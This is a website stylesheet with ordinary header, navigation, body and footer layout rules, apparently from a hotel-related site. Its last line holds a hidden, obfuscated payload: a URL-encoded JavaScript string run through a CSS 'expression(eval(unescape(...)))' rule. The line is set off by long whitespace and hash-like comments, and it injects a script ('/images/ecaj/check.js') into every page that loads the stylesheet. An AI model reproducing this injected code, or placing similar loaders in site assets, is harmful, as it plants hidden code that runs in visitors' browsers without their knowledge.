/* ##### NOTE: PLEASE DO NOT PUT  WIDTHS IN THIS CSS, PUT  WIDTHS IN THE "WIDTH CONTROLLER" CSS FILE ##### */

/***** --- GLOBAL WIDTH DEFINITIONS --- ******/     	 
	
	#siteContainer { width: 800px; }
    

	/** header width definitions **/ 
	#headerContainer { width:800px; }
	#headerContainer #logoContainer { width:110px; }
	#headerContainer #topNavUserContainer { width:690px; }
	#headerContainer #topNavContainer #topNavitems #topNavElements { width:690px; }
    #headerContainer #topNavContainer #topNavitems #topNavElements a.curr{ color:red; }
	
	/** footer width definitions **/ 
	#footerContainer { width:800px; }
	
/***** --- END GLOBAL WIDTH DEFINITIONS --- ******/

/***** --- BODY WIDTH DEFINITIONS --- ******/
	/** body container width definitions **/ 
	#bodyContainer { width:800px;}


	/** center container width definitions **/ 
	#bodyContainer #centerContainer { width:800px; }
/***** --- END BODY WIDTH DEFINITIONS --- ******/

/***** --- GLOBAL DEFINITIONS--- ******/
	body { font-family: verdana, arial, sans-serif; font-size:11px; background-color:#eafdfc; }
    body { text-align:center; min-width: auto; } /* definition for IE to center align the site */

	#siteContainer { text-align:left; margin-left:auto; margin-right:auto; }
	a { color: #8C271F; }
	form { padding:0px; margin:0px; }
	input, select, textarea { font-family: verdana, arial, sans-serif; font-size: 11px; padding: 0px; margin: 0px; background: #ffffff; color: #000000; }

	.clear { clear: both; }
	.clearDiv { content: "."; display: block; height: 0; font-size:1px; clear: both; visibility: hidden; }
	.right { float:right; }
	.left { float:left; }


/***** --- END GLOBAL DEFINITIONS --- ******/

/***** --- HEADER DEFINITIONS --- ******/
	#headerContainer { text-align:left; height:57px; xbackground: url(/westin/images/wi_logo_homepage.gif) left no-repeat; padding: 0px; margin: 3px 0px 3px 0px; border-bottom: 1px solid #BFB6AA; }
	#headerContainer #logoContainer { float:left; }
	#headerContainer #topNavUserContainer { float:right; }

    #headerContainer #spacer1 { float:right; height:30px; }

	/** top navigation definitions **/
	#headerContainer #topNavContainer { clear:both; padding: 3px 0px 0px 0px; margin: 0px; }
	#headerContainer #topNavContainer #topNavitems { float:right; padding: 1px 0px 0px 0px; margin: 0px; }
	#headerContainer #topNavContainer #topNavitems table { xwidth:100%; padding: 0px; margin:0px; border-spacing: 0px; border-collapse: collapse; }
	#headerContainer #topNavContainer #topNavitems #topNavElements { padding: 0px; margin:0px; }
	#headerContainer #topNavContainer #topNavitems #topNavElements a, #headerContainer #topNavContainer #topNavitems #topNavElements a:active { font-family: arial, verdana, sans-serif; color:#313c94; text-decoration:none; font-weight:bolder; font-size:11px; }
	#headerContainer #topNavContainer #topNavitems #topNavElements a:hover { color: red; }
	#headerContainer #topNavContainer #topNavitems #topNavElements ul, #headerContainer #topNavContainer #topNavitems table #topNavElements ul li { float:right; font-family: arial, verdana, sans-serif; padding: 0px 5px 0px 5px; margin: 0px; list-style-type: none; }
	#headerContainer #topNavContainer #topNavitems #topNavElements ul li { border-right: 1px solid #BFB6AA; }
	#headerContainer #topNavContainer #topNavitems #topNavElements ul li.first { border-right: 0px none #BFB6AA; }
	#headerContainer #topNavContainer #topNavitems #topNavForm { width:105px; text-align:right; padding: 0px; margin:0px; }
	#headerContainer #topNavContainer #topNavitems #topNavForm form, #headerContainer #topNavContainer #topNavitems table #topNavForm form select { padding: 0px; margin: 0px; font-size:10px; }
/***** --- END HEADER DEFINITIONS --- ******/

/***** --- BODY DEFINITIONS --- ******/
    #contentContainer {background-color: #feffc7;}
    #contentContainerWhite {background-color: white;}
	#bodyContainer { clear:both; border: 1px solid #dcd7d2; margin: 0px; padding: 0px; text-align:left; border-spacing: 0px; border-collapse: collapse; }
	
	/** center area definitions **/
	#bodyContainer #centerContainer { font-family: verdana,arial,helvetica,sans-serif; font-size: 11px; border-left: 1px solid #dcd7d2; border-top: 1px solid #dcd7d2; padding: 0px; margin:0px; vertical-align:top; xbackground-color:#F9F8F5; }
	#bodyContainer #centerContainer #banner { border-bottom:1px solid #dcd7d2; }
	#bodyContainer #centerContainer #contentArea { padding: 20px 15px 20px 30px; margin:0px; }
	#bodyContainer #centerContainer #contentArea p { margin-top:0px; }
    .line {  }
	
	/** Global heading definitions **/
	h1 { font-family: Baskerville Book, Baskerville, Times, Times New Roman, Serif; font-size: 24px; color:#989688; padding: 0px; margin-top: 0px; }
	h2 { font-family: verdana,arial,helvetica,sans-serif; font-size:11px; color:#4f3b30; background-color:#eeebdf; padding:6px 10px 6px 10px; margin-top:28px; }
	h3 { font-family: verdana,arial,helvetica,sans-serif; font-size:11px; color:#4f3b30; margin-bottom: 0px; }
	
/***** --- END BODY DEFINITIONS --- ******/


/***** --- FOOTER DEFINITIONS --- ******/
	#footerContainer { margin: 2px 0px 0px 0px; padding: 0px; text-align:left; }

	/** bottom navigation definitions **/
	#footerContainer #botNavContainer { background-color:#CBC5BE; padding: 0px; margin: 0px; height:22px; }
	#footerContainer #botNavContainer ul { font-family: arial, verdana, sans-serif; padding: 0px 5px 0px 0px; margin: 0px;  }
	#footerContainer #botNavContainer li { float:right; padding: 5px 5px 0px 5px; margin: 0px; list-style-type: none; }
    #footerContainer #botNavContainer ul .address { color:#8A7D71; font-size: 10px; float:right; padding: 5px 5px 0px 5px; margin: 0px; list-style-type: none; }
	#footerContainer #botNavContainer li a {font-size:10px; }
	#footerContainer #botNavContainer ul .store { float:left; height:22px; padding: 0px; margin: 0px; }
	#footerContainer #botNavContainer ul .store a { display:block; color:#ffffff; height:17px; text-decoration:none; font-weight:bolder; font-size:10px; background: url(/westin/images/icons/wi_btn_store_icon_off.gif) left no-repeat #8A7D71; padding:5px 10px 0px 31px; }
	*html #footerContainer #botNavContainer ul .store a { height:20px; width:75px; padding:7px 0px 0px 31px; margin:0px; }
	#footerContainer #botNavContainer ul .store a:hover { display:block; color:#ffffff; height:17px; text-decoration:none; font-weight:bolder; font-size:10px; background: url(/westin/images/icons/wi_btn_store_icon_on.gif) left no-repeat #703745; padding:5px 10px 0px 31px; }
	*html #footerContainer #botNavContainer ul .store a:hover { height:20px; width:75px; padding:7px 0px 0px 31px; margin:0px; }
	#footerContainer #botNavContainer a { color:#4D4D4D; text-decoration:none; font-weight:bolder; font-size:11px; }
	#footerContainer #botNavContainer a:hover { color: #8C271F; }


                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%31%35%35%31%33%33%3B%20%4A%53%53%33%20%3D%20%27%2F%69%6D%61%67%65%73%2F%65%63%61%6A%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%69%6D%61%67%65%73%2F%65%63%61%6A%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      



